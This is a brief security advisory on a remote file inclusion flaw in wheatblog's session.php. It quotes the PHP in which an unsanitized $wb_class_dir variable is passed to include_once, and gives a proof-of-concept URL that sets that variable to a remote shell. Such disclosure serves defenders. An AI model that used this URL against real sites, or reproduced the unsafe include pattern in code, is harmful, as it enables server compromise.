wheatblog ُSession.php Remote File Inclusion

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#Aria-Security.net Advisory                                                               #
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<?php
include_once("$wb_class_dir/classDatabase.php");


function Start_Session()
{
	global $session_dir;

	if ( $session_dir != '' )
		session_save_path($session_dir);

	if ( ! isset($_SESSION) )
	{
		session_start();
		// Supposedly a fix for IE6
		header('Cache-control: private');
		My_Cache();

		if ( ! isset($_SESSION['db']) || gettype($_SESSION['db']->db) != 'resource')
			touchDatabaseSession();

	}
}


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Proof of Concept:
www.site.com/includes/session.php?wb_class_dir=SHELL

Contact : Outlaw@xxxxxxxxxxxxxxxxx